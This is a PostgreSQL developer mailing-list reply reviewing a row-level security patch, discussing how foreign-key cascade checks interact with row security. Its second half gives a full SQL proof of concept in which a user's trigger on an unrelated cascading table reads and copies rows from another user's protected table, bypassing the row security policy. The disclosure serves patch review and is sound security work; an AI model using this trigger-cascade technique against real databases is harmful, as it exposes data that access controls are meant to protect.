Re: How should row-security affects ON UPDATE RESTRICT / CASCADE ? - Mailing list pgsql-hackers

On 10/30/2013 11:25 AM, Kohei KaiGai wrote:

> +
> +   /*
> +    * Row-level security should be disabled in case when foreign-key
> +    * relation is queried to check existence of tuples that references
> +    * the primary-key being modified.
> +    */
> +   temp_sec_context = save_sec_context | SECURITY_LOCAL_USERID_CHANGE;
> +   if (source_is_pk)
> +       temp_sec_context |= SECURITY_ROW_LEVEL_DISABLED;
> +
>     SetUserIdAndSecContext(RelationGetForm(query_rel)->relowner,
> -                          save_sec_context | SECURITY_LOCAL_USERID_CHANGE);
> +                          temp_sec_context);

This isn't sufficient, as it doesn't kick in when the _target_ is a
primary key. For example, if you run this against the rowsecurity
regression test schema you should get a nice one-row insert, but instead
row-security prevents even the superuser from seeing the target row from
within the FK check, leading to counter-intuitive behaviour like:

test=#  insert into document(did,cid,dlevel,dauthor,dtitle) select 1000,
cid, dlevel, dauthor, dtitle from document where did = 8;
ERROR:  insert or update on table "document" violates foreign key
constraint "document_cid_fkey"
DETAIL:  Key (cid)=(44) is not present in table "category".

So: what's the logic behind restricting this to source_is_pk ? Shouldn't
*all* FKs be exempt from rowsecurity checks? I think the code should
just be:


> +   temp_sec_context = save_sec_context | SECURITY_LOCAL_USERID_CHANGE
| SECURITY_ROW_LEVEL_DISABLED;

i.e. ALL foreign key checks are exempt from row security filters.

This isn't a complete solution as it doesn't solve another hole. The
owner of the RI target table can create a trigger that runs in this
security context when an ON DELETE CASCADE, ON UPDATE CASCADE or ON
DELETE SET NULL trigger is invoked. They can abuse this trigger to see
rows in other tables, even ones they don't own.



Rather than completely disabling row security in triggers, we might
instead need to disable row security for *tables owned by the user the
RI trigger is being invoked as*. Or just for the table that's the
subject of the RI check.

Otherwise we get this nasty security hole:


SET SESSION AUTHORIZATION rls_regress_user2;

CREATE TABLE secrets( id integer primary key, cid integer not null, dummy text
);

INSERT INTO secrets (id, cid, dummy)
VALUES (1, 11, 'a'), (2, 22, 'b');

ALTER TABLE secrets SET ROW SECURITY FOR ALL TO (cid = 11);

-- rls_regress_user2 only wants user0 to see the rows the row
-- security policy permits

GRANT SELECT ON secrets TO rls_regress_user0;



-- Now, naughty rls_regress_user0 wants to know what's so secret
-- in rls_regress_user2's table, so it sets up a cascade delete
-- between two of its OWN tables, completely unrelated, so it can
-- run a trigger with SECURITY_ROW_LEVEL_DISABLED rights.

SET SESSION AUTHORIZATION rls_regress_user0;

CREATE TABLE leaked (LIKE secrets);

CREATE OR REPLACE FUNCTION malicious_trigger() RETURNS TRIGGER AS $$
BEGIN -- Should only see cid=11, but sees both! oops! INSERT INTO leaked SELECT * FROM secrets; IF tg_op = 'INSERT' OR
tg_op= 'UPDATE' THEN   RETURN new; ELSE   RETURN old; END IF;
 
END;
$$ LANGUAGE plpgsql;

CREATE TABLE parent(id integer primary key);
INSERT INTO parent(id) VALUES (1);

CREATE TABLE child( parent_id integer not null references parent(id) on delete cascade on update cascade
);
INSERT INTO child(parent_id) values (1);

CREATE TRIGGER malicious
BEFORE UPDATE OR DELETE ON child
FOR EACH ROW EXECUTE PROCEDURE malicious_trigger();

-- Now rls_regress_user0 only needs to delete the parent row, triggering
-- a cascade via the RI trigger to the child, which invokes the
-- malicious trigger and copies the contents of the target table.

test=> DELETE FROM parent;
DELETE 1
test=> SELECT * FROM leaked;id | cid | dummy
----+-----+------- 1 |  11 | a 2 |  22 | b
(2 rows)

oops! rls_regress_user0 should only be able to see id=1, but it bypassed
RLS using the security context of the cascade to see id=2 as well!




-- Craig Ringer                   http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services